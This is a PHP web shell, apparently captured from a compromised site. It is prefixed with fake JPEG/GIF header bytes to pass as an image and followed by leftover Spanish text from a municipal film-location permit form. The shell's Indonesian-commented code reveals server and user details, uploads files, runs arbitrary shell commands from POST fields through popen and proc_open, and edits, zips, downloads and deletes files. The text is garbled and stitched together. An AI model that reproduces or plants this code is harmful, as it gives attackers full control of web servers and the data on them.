ÿØÿà JFIF ÿÛ C $.' ",#(7),01444'9=82<.342ÿÛ C 2!!22222222222222222222222222222222222222222222222222ÿşGIF89a; GIF89;a GIF89;a GIF89;a GIF89;a GIF89;a GIF89;a ÿØÿà JFIF ÿÛ C $.' ",#(7),01444'9=82<.342ÿÛ C 2!!22222222222222222222222222222222222222222222222222ÿşGIF89a; GIF89;a GIF89;a GIF89;a GIF89;a GIF89;a GIF89;a  

  

TYPE-0 PERFECT SEIHA Type-0

 

TYPE-0 PERFECT SEIHA

Server Info:'; echo '

' . htmlspecialchars(php_uname('a')) . '

'; echo '

User Info:

'; echo '

Current User: ' . htmlspecialchars($_SERVER['USER']) . '

'; echo '

Server Software:

'; if (strpos($_SERVER['SERVER_SOFTWARE'], 'LiteSpeed') !== false) { echo '

LiteSpeed

'; } elseif (strpos($_SERVER['SERVER_SOFTWARE'], 'Apache') !== false) { echo '

Apache

'; } else { echo '

' . htmlspecialchars($_SERVER['SERVER_SOFTWARE']) . '

'; } function listFiles($dir) { $folders = array(); $files = array(); if (is_dir($dir)) { if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { if ($file != '.' && $file != '..') { $filePath = $dir . '/' . $file; $fileInfo = stat($filePath); $permissions = substr(sprintf('%o', fileperms($filePath)), -4); $lastModified = date('Y-m-d H:i:s', $fileInfo['mtime']); // Cek apakah posix tersedia if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $pwuid = @posix_getpwuid($fileInfo['uid']); $grgid = @posix_getgrgid($fileInfo['gid']); $userGroup = $pwuid['name'] . '/' . $grgid['name']; } else { $userGroup = 'Unknown/Unknown'; // Fallback untuk Windows } $size = is_dir($filePath) ? '-' : filesize($filePath); $permissionClass = is_writable($filePath) ? 'permission-green' : 'permission-red'; $fileData = array( 'name' => $file, 'size' => $size, 'permissions' => $permissions, 'lastModified' => $lastModified, 'userGroup' => $userGroup, 'path' => $filePath, 'isDir' => is_dir($filePath), 'permissionClass' => $permissionClass ); if ($fileData['isDir']) { $folders[] = $fileData; } else { $files[] = $fileData; } } } closedir($dh); } } else { echo '

Not a valid directory.

'; } echo '

Folders:

'; echo ''; echo ''; foreach ($folders as $folder) { echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } echo '

NameSizePermissionsLast ModifiedUser/Group
'.$folder['name'].''.$folder['size'].''.$folder['permissions'].''.$folder['lastModified'].''.$folder['userGroup'].'

'; echo '

Files:

'; echo ''; echo ''; foreach ($files as $file) { echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } echo '

NameSizePermissionsLast ModifiedUser/Group
'.$file['name'].''.$file['size'].''.$file['permissions'].''.$file['lastModified'].''.$file['userGroup'].'

'; } $currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); if (isset($_GET['dir']) && is_dir($_GET['dir'])) { $currentDir = realpath($_GET['dir']); } chdir($currentDir); // Multiple File Aploder if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['files'])) { $uploadDir = $currentDir . '/'; // Loop untuk menangani beberapa file foreach ($_FILES['files']['name'] as $key => $name) { $uploadFile = $uploadDir . basename($name); if (move_uploaded_file($_FILES['files']['tmp_name'][$key], $uploadFile)) { echo '

File ' . htmlspecialchars($name) . ' uploaded successfully.

'; } else { echo '

Failed to upload file ' . htmlspecialchars($name) . '.

'; } } } // Single File Aploder echo '

'; echo '

'; if( $_POST['rhicavipz'] == "Unggah" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Berhasil! '; } else { echo 'Gagal :('; } } // Komeng if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['komeng'])) { $komeng = $_POST['komeng']; if ($komeng) { echo '

Komeng Output:

'; echo ''; // Menggunakan popen untuk membuka proses $handle = popen(escapeshellcmd($komeng), 'r'); if ($handle) { // Membaca output baris demi baris while (!feof($handle)) { $line = fgets($handle); if ($line) { echo ''; // Memecah setiap baris menjadi kolom $columns = preg_split('/\s+/', trim($line)); foreach ($columns as $column) { echo ''; } echo ''; } } // Menutup proses pclose($handle); } else { echo ''; } echo '

' . htmlspecialchars($column) . '
Function Disabled, coba pake proc manies!.

'; } } // Edit if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save'])) { $fileToSave = $_POST['filename']; $content = $_POST['content']; file_put_contents($fileToSave, $content); // Tetap berada di halaman edit setelah menyimpan $dir = dirname($fileToSave); header("Location: ?dir=" . urlencode($dir) . "&edit=" . urlencode($fileToSave)); } // Krit dir if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_dir'])) { $newDir = $_POST['new_dir']; if ($newDir) { $newDirPath = $currentDir . '/' . $newDir; if (!is_dir($newDirPath)) { mkdir($newDirPath); echo '

Directory created successfully.

'; } else { echo '

Directory already exists.

'; } } } // Krit file if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_file'])) { $newFile = $_POST['new_file']; if ($newFile) { $newFilePath = $currentDir . '/' . $newFile; if (!file_exists($newFilePath)) { file_put_contents($newFilePath, ''); echo '

File created successfully.

'; } else { echo '

File already exists.

'; } } } // Current Direktori function renderBreadcrumb($currentDir) { $pathArray = explode(DIRECTORY_SEPARATOR, $currentDir); echo '

'; } ?> 


Command Proc Injection:


array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "r") // stderr is a file to write to ); $env = array('some_option' => 'aeiou'); $meki = ""; if(isset($_POST['cmd'])){ $cmd = ($_POST['cmd']); echo "


'; echo ''; echo ''; echo ''; } } listFiles($currentDir); ?> 1) { // Download multiple files sebagai zip $zip = new ZipArchive(); $zipName = 'download_' . time() . '.zip'; if ($zip->open($zipName, ZipArchive::CREATE) !== TRUE) { $message = 'Gagal membuat file zip.'; } else { foreach ($items as $item) { if (is_file($item)) { $zip->addFile($item, $item); } elseif (is_dir($item)) { addFolderToZip($item, $zip, basename($item)); } } $zip->close(); // Kirim file zip ke pengguna header('Content-Type: application/zip'); header('Content-disposition: attachment; filename=' . $zipName); header('Content-Length: ' . filesize($zipName)); readfile($zipName); // Hapus file zip setelah diunduh unlink($zipName); exit; } } else { $message = 'Tidak ada file yang dipilih untuk diunduh.'; } } elseif ($action === 'rename' && isset($_POST['new_name'])) { $new_name = trim($_POST['new_name']); if (count($items) === 1 && !empty($new_name)) { $old_name = $items[0]; if (file_exists($old_name)) { if (rename($old_name, $new_name)) { $message = "Berhasil mengganti nama '$old_name' menjadi '$new_name'."; } else { $message = 'Gagal mengganti nama.'; } } else { $message = 'File/folder tidak ditemukan.'; } } else { $message = 'Pilih tepat satu file/folder dan masukkan nama baru.'; } } elseif ($action === 'edit') { if (isset($_POST['file_content'])) { // Menyimpan perubahan ke file if (count($items) === 1 && is_file($items[0])) { $file = $items[0]; $content = $_POST['file_content']; if (file_put_contents($file, $content) !== false) { $message = "File '$file' berhasil diperbarui."; } else { $message = "Gagal memperbarui file '$file'."; } } else { $message = 'Pilih tepat satu file yang bisa diedit.'; } } else { // Menampilkan form edit if (count($items) === 1 && is_file($items[0])) { $edit_item = $items[0]; $file_content = file_get_contents($edit_item); } else { $message = 'Pilih tepat satu file yang bisa diedit.'; } } } elseif ($action === 'zip') { // Membuat zip di server if (count($items) > 0) { $zip = new ZipArchive(); $zipName = 'archive_' . time() . '.zip'; if ($zip->open($zipName, ZipArchive::CREATE) !== TRUE) { $message = 'Gagal membuat file zip.'; } else { foreach ($items as $item) { if (is_file($item)) { $zip->addFile($item, $item); } elseif (is_dir($item)) { addFolderToZip($item, $zip, basename($item)); } } $zip->close(); $message = "File zip '$zipName' berhasil dibuat."; } } else { $message = 'Tidak ada file/folder yang dipilih untuk di-zip.'; } } else { $message = 'Error.'; } } elseif (isset($_POST['action']) && $_POST['action'] === 'edit_form' && isset($_POST['edit_item'])) { // Menampilkan form edit (jika diperlukan, namun pada perbaikan ini tidak digunakan) // Bagian ini dapat diabaikan karena logika edit sudah diatur di atas } } // Fungsi untuk menghapus direktori secara rekursif function deleteDir($dirPath) { if (!is_dir($dirPath)) { return; } $objects = scandir($dirPath); foreach ($objects as $object) { if ($object != "." && $object != "..") { $path = $dirPath . DIRECTORY_SEPARATOR . $object; if (is_dir($path)) { deleteDir($path); } else { unlink($path); } } } rmdir($dirPath); } // Fungsi untuk menambahkan folder ke zip secara rekursif function addFolderToZip($folder, $zip, $parentFolder = '') { $handle = opendir($folder); while (($entry = readdir($handle)) !== false) { if ($entry == '.' || $entry == '..') continue; $path = $folder . DIRECTORY_SEPARATOR . $entry; $localPath = $parentFolder . '/' . $entry; if (is_dir($path)) { $zip->addEmptyDir($localPath); addFolderToZip($path, $zip, $localPath); } else { $zip->addFile($path, $localPath); } } closedir($handle); } // Ambil daftar file/folder dan izin mereka $files = []; foreach (glob('*') as $file) { $files[$file] = substr(decoct(fileperms($file) & 0777), -3); } ?>

Genjoet File/Folder Manager

 

Edit File:

 

Daftar File/Folder

$perm): ?>

PilihNama File/FolderPermission
  


 

 

 

Calle 151 402-500 - Berazategui

Formulario de Consulta de Viabilidad para Actividad en Locación

Producción Solicitante

Se sugiere no tramitar la documentación solicitada en el formulario de la DDJJ ( pólizas, R.C, ART y AC) hasta la confirmaciòn de viabilidad del organismo autorizante.
IMPORTANTE: Si la viabilidad de la actividad consultada es positiva, nos comunicaremos a la brevedad con indicaciones para continuar la gestión.
(largometraje, cortometraje, video clip. etc)
Jefe de locaciones
Asistente de locaciones

Locación Solicitada

Escriba el nombre o una parte del mismo para seleccionar la Locación
Fechas de rodaje
Fecha de cobertura
Ingrese fecha de inicio y de fin
(transporte de quipos, generadores, motorhomes, etc)
  • Dossier del Proyecto
  • Descripción detallada de las escenas a rodar, y el guión de las mismas.
  • Plan de rodaje
  • El equipamento y los elementos técnicos que se utilizarán en la actividad.
  • Si las hubiere, descripción de las inastalaciones y/o modificaciones al espacio.

Máximo 1 archivo.
límite de 12 MB.
Tipos permitidos: pdf.